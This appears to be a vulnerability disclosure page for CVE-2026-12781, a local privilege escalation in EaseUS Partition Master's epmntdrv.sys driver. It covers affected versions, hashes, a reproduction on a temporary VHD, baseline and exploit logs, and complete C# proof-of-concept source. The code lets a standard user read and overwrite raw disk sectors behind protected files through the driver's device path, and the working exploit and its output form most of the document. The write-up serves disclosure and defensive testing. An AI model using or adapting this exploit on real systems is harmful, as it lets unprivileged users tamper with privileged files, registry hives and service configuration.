EaseUS Partition Master 14.5 Kernel Driver epmntdrv.sys Local Privilege Escalation

CVE-2026-12781 Summary

EaseUS Partition Master installs and loads `epmntdrv.sys`, which exposes a legacy device path of the form `\\.\EPMNTDRV\<disk>`. A standard local user can open this device, bind it to a caller-selected physical disk, and issue raw reads and writes through the driver.

In the validation below, a standard user at Medium Integrity could not directly read or write an administrator-only flag file on a temporary VHD and could not directly open `\\.\PhysicalDrive1`. The same user opened `\\.\EPMNTDRV\1`, read the protected file's NTFS data clusters, then overwrote those same clusters with a marker. Administrator readback from the protected file confirmed the write.

An unprivileged user can exploit arbitrary read/write primitives over protected file resources to achieve local privilege escalation.

Affected Product and Version

- Product: EaseUS Partition Master
- Installer product version: `14.5`
- Driver: `epmntdrv.sys`
- Driver path observed during validation: `C:\WINDOWS\system32\epmntdrv.sys`
- Driver SHA-256: `D0653356A2D3128256B3996AADAB10108C72CA0B13FEF85C0051784A8D906179`
- Driver signature: `Valid`, signer `Microsoft Windows Hardware Compatibility Publisher`

Download URL and SHA-256

- Download URL: `http://download.easeus.com/free/epm.exe`
- File name: `epm.exe`
- Installer SHA-256: `85208FD27937DFEB82D6637B9C57BD61EDC5814EC72A8DF5C631F2193BB3A7C9`

- Installer signer observed locally: `Chengdu Yiwo Tech Development Co., Ltd.`
- Installer signature status observed locally: `UnknownError`
- Driver load method: official installer loaded the `epmntdrv` product kernel service.

Vulnerability Type

Local raw disk read/write access-control bypass through a kernel driver.

Impact

A standard local user can bypass Windows file and raw disk access checks through the EaseUS driver. The read primitive exposes protected file contents by raw disk offset. The write primitive allows tampering with raw disk sectors that back protected objects. On a real system disk, this class of primitive can be used to modify privileged files, registry hives, service configuration, or other security-sensitive filesystem data.

This report proves the behavior only against a temporary VHD and a self-created administrator-only test file.

Test Environment

- OS: Microsoft Windows Server 2025 Datacenter Evaluation, version `10.0.26100`, 64-bit
- PowerShell: `5.1.26100.7462`
- Administrator context used for setup, driver installation, VHD setup, evidence collection, and cleanup
- Standard test user: `WIN-R10EKFCBLSE\low`
- Standard test user integrity level: Medium
- Test disk: temporary fixed VHD, 96 MB, attached as disk `1`
- Protected test object: `R:\protected\admin_only_flag.bin`

Reproduction Steps

The standard-user read command used by the one-click script was:

```
easeus_raw_forwarder_flag_rw_exploit.exe --device EPMNTDRV --mode read --disk 1 --offset
5869568 --length 20480 --flag-path R:\protected\admin_only_flag.bin --expect-marker EASEUS-
```

```
EPMNTDRV-PROTECTED-FLAG-7f7f978c-1df5-4c48-8c53-6401f418ad77 --out
C:\ProgramData\VendorRepro\easeus_epmntdrv_evidence\exploit_read_clusters.bin
```

The standard-user write command was:

```
easeus_raw_forwarder_flag_rw_exploit.exe --device EPMNTDRV --mode write --disk 1 --offset
5869568 --length 20480 --write-marker EASEUS-EPMNTDRV-WRITE-FLAG-8097926a-d6c1-4b52-a529-
30ff645034cf
```

Baseline Evidence

The protected file ACL allowed only `SYSTEM` and `Administrators`:

```
R:\protected\admin_only_flag.bin NT AUTHORITY\SYSTEM:(F)
                                 BUILTIN\Administrators:(F)

Successfully processed 1 files; Failed processing 0 files
```

The low-privilege process identified itself as a standard, Medium Integrity user:

```
[IDENTITY] user=WIN-R10EKFCBLSE\low
[IDENTITY] is_administrator=False
[IDENTITY] integrity=Medium
```

Direct access failed without the driver:

```
[BASELINE] protected_read=DENIED path=R:\protected\admin_only_flag.bin error=Access to the
path 'R:\protected\admin_only_flag.bin' is denied.
[BASELINE] protected_write=DENIED path=R:\protected\admin_only_flag.bin error=Access to the
path 'R:\protected\admin_only_flag.bin' is denied.
[BASELINE] raw_disk_open=DENIED path=\\.\PhysicalDrive1 error=5
```

Exploit Evidence

The same standard-user process opened the EaseUS device and read the protected flag data from the temporary VHD:

```
[DRIVER] open=SUCCESS path=\\.\EPMNTDRV\1
[EXPLOIT_READ] success=True device=EPMNTDRV disk=1 offset=5869568 requested_bytes=20480
driver_reported_bytes=10485760
out=C:\ProgramData\VendorRepro\easeus_epmntdrv_evidence\exploit_read_clusters.bin
[EXPLOIT_READ] prefix=EASEUS-EPMNTDRV-PROTECTED-FLAG-7f7f978c-1df5-4c48-8c53-
6401f418ad77AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAA
[RESULT] read_marker_found=True
```

The same standard-user process then wrote a marker through the driver:

```
[DRIVER] open=SUCCESS path=\\.\EPMNTDRV\1
[WRITE_ATTEMPT] result=SUCCESS_NONSTANDARD_BYTE_COUNT requested_bytes=20480
driver_reported_bytes=10485760
[EXPLOIT_WRITE] success=True device=EPMNTDRV disk=1 offset=5869568 requested_bytes=20480
driver_reported_bytes=10485760
[EXPLOIT_WRITE] marker=EASEUS-EPMNTDRV-WRITE-FLAG-8097926a-d6c1-4b52-a529-30ff645034cf
[RESULT] write_succeeded=True
```

Administrator readback from the protected file confirmed that the low-user write changed the protected object:


```
{
  "expected_write_marker": "EASEUS-EPMNTDRV-WRITE-FLAG-8097926a-d6c1-4b52-a529-30ff645034cf",
  "marker_found": true,
  "prefix": "EASEUS-EPMNTDRV-WRITE-FLAG-8097926a-d6c1-4b52-a529-
30ff645034cfBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBB"
}
```


Why This Proves the Vulnerability

The test user is a non-administrator at Medium Integrity. Windows correctly denied that user direct access to the protected NTFS file and direct raw access to `\\.\PhysicalDrive1`. The same user could access the same data by opening `\\.\EPMNTDRV\1`, which caused `epmntdrv.sys` to issue lower raw disk read/write IRPs from kernel mode.

The IDA Pro MCP analysis explains the cause: the driver exposes a user-openable raw disk forwarding device, binds a caller-selected lower disk object in the create path, and forwards user read/write requests to the lower storage stack without enforcing the access checks that would normally apply to the user.

Therefore, `epmntdrv.sys` exposes privileged raw disk read/write functionality to standard users.

POC

```
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
using Microsoft.Win32.SafeHandles;

internal static class EaseUsRawForwarderFlagRwExploit
{
    private const uint GENERIC_READ = 0x80000000;
    private const uint GENERIC_WRITE = 0x40000000;
    private const uint FILE_SHARE_READ = 0x00000001;
    private const uint FILE_SHARE_WRITE = 0x00000002;
    private const uint OPEN_EXISTING = 3;
    private const uint FILE_BEGIN = 0;
    private const int TOKEN_QUERY = 0x0008;
    private const int TokenIntegrityLevel = 25;

    [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
    private static extern SafeFileHandle CreateFileW(
        string lpFileName,
        uint dwDesiredAccess,
        uint dwShareMode,
        IntPtr lpSecurityAttributes,
        uint dwCreationDisposition,
        uint dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("kernel32.dll", SetLastError = true)]
```

```
    private static extern bool SetFilePointerEx(SafeFileHandle hFile, long liDistanceToMove,
IntPtr lpNewFilePointer, uint dwMoveMethod);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool ReadFile(SafeFileHandle hFile, IntPtr lpBuffer, int
nNumberOfBytesToRead, out int lpNumberOfBytesRead, IntPtr lpOverlapped);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool WriteFile(SafeFileHandle hFile, IntPtr lpBuffer, int
nNumberOfBytesToWrite, out int lpNumberOfBytesWritten, IntPtr lpOverlapped);

    [DllImport("kernel32.dll")]
    private static extern IntPtr GetCurrentProcess();

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool CloseHandle(IntPtr hObject);

    [DllImport("advapi32.dll", SetLastError = true)]
    private static extern bool OpenProcessToken(IntPtr processHandle, int desiredAccess, out
IntPtr tokenHandle);

    [DllImport("advapi32.dll", SetLastError = true)]
    private static extern bool GetTokenInformation(IntPtr tokenHandle, int
tokenInformationClass, IntPtr tokenInformation, int tokenInformationLength, out int
returnLength);

    [DllImport("advapi32.dll", SetLastError = true)]
    private static extern IntPtr GetSidSubAuthorityCount(IntPtr pSid);

    [DllImport("advapi32.dll", SetLastError = true)]
    private static extern IntPtr GetSidSubAuthority(IntPtr pSid, uint nSubAuthority);

    private static int Main(string[] args)
    {
        try
        {
            Options opt = Options.Parse(args);
            if (opt == null)
            {
                Usage();
```

```
                return 2;
            }

            PrintIdentity();
            if (!string.IsNullOrEmpty(opt.FlagPath))
            {
                BaselineProtectedFile(opt.FlagPath);
            }
            BaselineRawDisk(opt.Disk);

            string devicePath = @"\\.\" + opt.Device + @"\" + opt.Disk;
            using (SafeFileHandle h = OpenForwarder(devicePath))
            {
                if (h.IsInvalid)
                {
                    Console.Error.WriteLine("[DRIVER] open=FAILED path={0} error={1}",
devicePath, Marshal.GetLastWin32Error());
                    return 1;
                }
                Console.WriteLine("[DRIVER] open=SUCCESS path={0}", devicePath);

                if (opt.Mode == "read")
                {
                    int reportedBytes;
                    byte[] data = RawRead(h, opt.OffsetBytes, checked((int)opt.LengthBytes),
out reportedBytes);
                    File.WriteAllBytes(opt.OutPath, data);
                    string prefix = AsciiPreview(data, 256);
                    bool found = !string.IsNullOrEmpty(opt.ExpectMarker) &&
Encoding.ASCII.GetString(data).Contains(opt.ExpectMarker);
                    Console.WriteLine("[EXPLOIT_READ] success=True device={0} disk={1}
offset={2} requested_bytes={3} driver_reported_bytes={4} out={5}", opt.Device, opt.Disk,
opt.OffsetBytes, data.Length, reportedBytes, opt.OutPath);
                    Console.WriteLine("[EXPLOIT_READ] prefix={0}", prefix);
                    if (!string.IsNullOrEmpty(opt.ExpectMarker))
                    {
                        Console.WriteLine("[RESULT] read_marker_found={0}", found);
                        return found ? 0 : 3;
                    }
                    return 0;
```

```
                }

                byte[] payload = MakePayload(opt.WriteMarker, checked((int)opt.LengthBytes));
                int writeReportedBytes = RawWrite(h, opt.OffsetBytes, payload);
                Console.WriteLine("[EXPLOIT_WRITE] success=True device={0} disk={1} offset={2}
requested_bytes={3} driver_reported_bytes={4}", opt.Device, opt.Disk, opt.OffsetBytes,
payload.Length, writeReportedBytes);
                Console.WriteLine("[EXPLOIT_WRITE] marker={0}", opt.WriteMarker);
                Console.WriteLine("[RESULT] write_succeeded=True");
                return 0;
            }
        }
        catch (Exception ex)
        {
            Console.Error.WriteLine("[ERROR] {0}: {1}", ex.GetType().Name, ex.Message);
            return 1;
        }
    }

    private static SafeFileHandle OpenForwarder(string devicePath)
    {
        return CreateFileW(devicePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ |
FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero);
    }

    private static byte[] RawRead(SafeFileHandle h, ulong offset, int length, out int
reportedBytes)
    {
        if (!SetFilePointerEx(h, checked((long)offset), IntPtr.Zero, FILE_BEGIN))
        {
            throw new InvalidOperationException("SetFilePointerEx failed: " +
Marshal.GetLastWin32Error());
        }

        IntPtr buf = Marshal.AllocHGlobal(length);
        try
        {
            ZeroMemory(buf, length);
            if (!ReadFile(h, buf, length, out reportedBytes, IntPtr.Zero))
            {
```

```
                throw new InvalidOperationException("ReadFile through vendor device failed: "
+ Marshal.GetLastWin32Error());
            }
            byte[] data = new byte[length];
            Marshal.Copy(buf, data, 0, length);
            return data;
        }
        finally
        {
            Marshal.FreeHGlobal(buf);
        }
    }

    private static int RawWrite(SafeFileHandle h, ulong offset, byte[] payload)
    {
        if (!SetFilePointerEx(h, checked((long)offset), IntPtr.Zero, FILE_BEGIN))
        {
            throw new InvalidOperationException("SetFilePointerEx failed: " +
Marshal.GetLastWin32Error());
        }

        IntPtr buf = Marshal.AllocHGlobal(payload.Length);
        try
        {
            Marshal.Copy(payload, 0, buf, payload.Length);
            int wrote;
            bool ok = WriteFile(h, buf, payload.Length, out wrote, IntPtr.Zero);
            int lastError = Marshal.GetLastWin32Error();
            if (!ok)
            {
                throw new InvalidOperationException("WriteFile through vendor device failed: "
+ lastError);
            }
            if (wrote < payload.Length)
            {
                throw new InvalidOperationException("WriteFile through vendor device reported
too few bytes: requested=" + payload.Length + " reported=" + wrote + " error=" + lastError);
            }
            if (wrote != payload.Length)
            {
```

```
                Console.WriteLine("[WRITE_ATTEMPT] result=SUCCESS_NONSTANDARD_BYTE_COUNT
requested_bytes={0} driver_reported_bytes={1}", payload.Length, wrote);
            }
            else
            {
                Console.WriteLine("[WRITE_ATTEMPT] result=SUCCESS requested_bytes={0}
driver_reported_bytes={1}", payload.Length, wrote);
            }
            return wrote;
        }
        finally
        {
            Marshal.FreeHGlobal(buf);
        }
    }

    private static void BaselineProtectedFile(string path)
    {
        try
        {
            File.ReadAllBytes(path);
            Console.WriteLine("[BASELINE] protected_read=UNEXPECTED_SUCCESS path={0}", path);
        }
        catch (Exception ex)
        {
            Console.WriteLine("[BASELINE] protected_read=DENIED path={0} error={1}", path,
ex.Message);
        }

        try
        {
            File.WriteAllText(path, "SHOULD-NOT-WRITE");
            Console.WriteLine("[BASELINE] protected_write=UNEXPECTED_SUCCESS path={0}", path);
        }
        catch (Exception ex)
        {
            Console.WriteLine("[BASELINE] protected_write=DENIED path={0} error={1}", path,
ex.Message);
        }
    }
```

```
    private static void BaselineRawDisk(uint disk)
    {
        string path = @"\\.\" + "PhysicalDrive" + disk;
        using (SafeFileHandle h = CreateFileW(path, GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero))
        {
            if (h.IsInvalid)
            {
                Console.WriteLine("[BASELINE] raw_disk_open=DENIED path={0} error={1}", path,
Marshal.GetLastWin32Error());
            }
            else
            {
                Console.WriteLine("[BASELINE] raw_disk_open=UNEXPECTED_SUCCESS path={0}",
path);
            }
        }
    }

    private static void PrintIdentity()
    {
        WindowsIdentity id = WindowsIdentity.GetCurrent();
        WindowsPrincipal principal = new WindowsPrincipal(id);
        Console.WriteLine("[IDENTITY] user={0}", id.Name);
        Console.WriteLine("[IDENTITY] is_administrator={0}",
principal.IsInRole(WindowsBuiltInRole.Administrator));
        Console.WriteLine("[IDENTITY] integrity={0}", GetIntegrityLevel());
    }

    private static string GetIntegrityLevel()
    {
        IntPtr token;
        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, out token)) return "unknown";
        try
        {
            int needed;
            GetTokenInformation(token, TokenIntegrityLevel, IntPtr.Zero, 0, out needed);
            IntPtr buf = Marshal.AllocHGlobal(needed);
            try
```

```
            {
                if (!GetTokenInformation(token, TokenIntegrityLevel, buf, needed, out needed))
return "unknown";
                IntPtr sid = Marshal.ReadIntPtr(buf);
                int count = Marshal.ReadByte(GetSidSubAuthorityCount(sid));
                int rid = Marshal.ReadInt32(GetSidSubAuthority(sid, (uint)(count - 1)));
                if (rid >= 0x4000) return "System";
                if (rid >= 0x3000) return "High";
                if (rid >= 0x2000) return "Medium";
                if (rid >= 0x1000) return "Low";
                return "Untrusted";
            }
            finally
            {
                Marshal.FreeHGlobal(buf);
            }
        }
        finally
        {
            CloseHandle(token);
        }
    }

    private static byte[] MakePayload(string marker, int length)
    {
        if (string.IsNullOrEmpty(marker)) throw new ArgumentException("--write-marker is
required.");
        byte[] payload = new byte[length];
        byte[] markerBytes = Encoding.ASCII.GetBytes(marker);
        Array.Copy(markerBytes, payload, Math.Min(markerBytes.Length, payload.Length));
        for (int i = markerBytes.Length; i < payload.Length; i++) payload[i] = 0x42;
        return payload;
    }

    private static string AsciiPreview(byte[] data, int max)
    {
        int len = Math.Min(data.Length, max);
        return Encoding.ASCII.GetString(data, 0, len).Replace("\0", "\\0").Replace("\r",
"\\r").Replace("\n", "\\n");
    }
```

```
    private static void ZeroMemory(IntPtr ptr, int length)
    {
        byte[] zeros = new byte[Math.Min(4096, length)];
        int offset = 0;
        while (offset < length)
        {
            int chunk = Math.Min(zeros.Length, length - offset);
            Marshal.Copy(zeros, 0, IntPtr.Add(ptr, offset), chunk);
            offset += chunk;
        }
    }

    private static void Usage()
    {
        Console.Error.WriteLine("Usage:");
        Console.Error.WriteLine("  easeus_raw_forwarder_flag_rw_exploit.exe --device EPMNTDRV
--mode read --disk N --offset BYTES --length BYTES --flag-path PATH --expect-marker MARKER --
out OUT.bin");
        Console.Error.WriteLine("  easeus_raw_forwarder_flag_rw_exploit.exe --device EPMNTDRV
--mode write --disk N --offset BYTES --length BYTES --write-marker MARKER");
        Console.Error.WriteLine("  --device may be EPMNTDRV or EUEDKEPM when the matching
driver is loaded.");
    }

    private sealed class Options
    {
        public string Device = "EPMNTDRV";
        public string Mode = "read";
        public uint Disk;
        public ulong OffsetBytes;
        public ulong LengthBytes;
        public string FlagPath;
        public string ExpectMarker;
        public string WriteMarker;
        public string OutPath;

        public static Options Parse(string[] args)
        {
            Options opt = new Options();
```

```
            for (int i = 0; i < args.Length; i++)
            {
                string a = args[i].ToLowerInvariant();
                if (a == "--device" && i + 1 < args.Length) opt.Device = args[++i];
                else if (a == "--mode" && i + 1 < args.Length) opt.Mode =
args[++i].ToLowerInvariant();
                else if (a == "--disk" && i + 1 < args.Length) opt.Disk =
UInt32.Parse(args[++i]);
                else if (a == "--offset" && i + 1 < args.Length) opt.OffsetBytes =
UInt64.Parse(args[++i]);
                else if (a == "--length" && i + 1 < args.Length) opt.LengthBytes =
UInt64.Parse(args[++i]);
                else if (a == "--flag-path" && i + 1 < args.Length) opt.FlagPath = args[++i];
                else if (a == "--expect-marker" && i + 1 < args.Length) opt.ExpectMarker =
args[++i];
                else if (a == "--write-marker" && i + 1 < args.Length) opt.WriteMarker =
args[++i];
                else if (a == "--out" && i + 1 < args.Length) opt.OutPath = args[++i];
                else return null;
            }

            if (opt.Mode != "read" && opt.Mode != "write") return null;
            if (string.IsNullOrWhiteSpace(opt.Device)) return null;
            foreach (char c in opt.Device)
            {
                if (!char.IsLetterOrDigit(c) && c != '_' && c != '-') return null;
            }
            if (opt.LengthBytes == 0) return null;
            if (opt.Mode == "read" && string.IsNullOrEmpty(opt.OutPath)) return null;
            if (opt.Mode == "write" && string.IsNullOrEmpty(opt.WriteMarker)) return null;
            return opt;
        }
    }
}
```

Revision #4
Created 2026-05-20 16:08:10 UTC by winslow
Updated 2026-06-20 21:23:22 UTC by winslow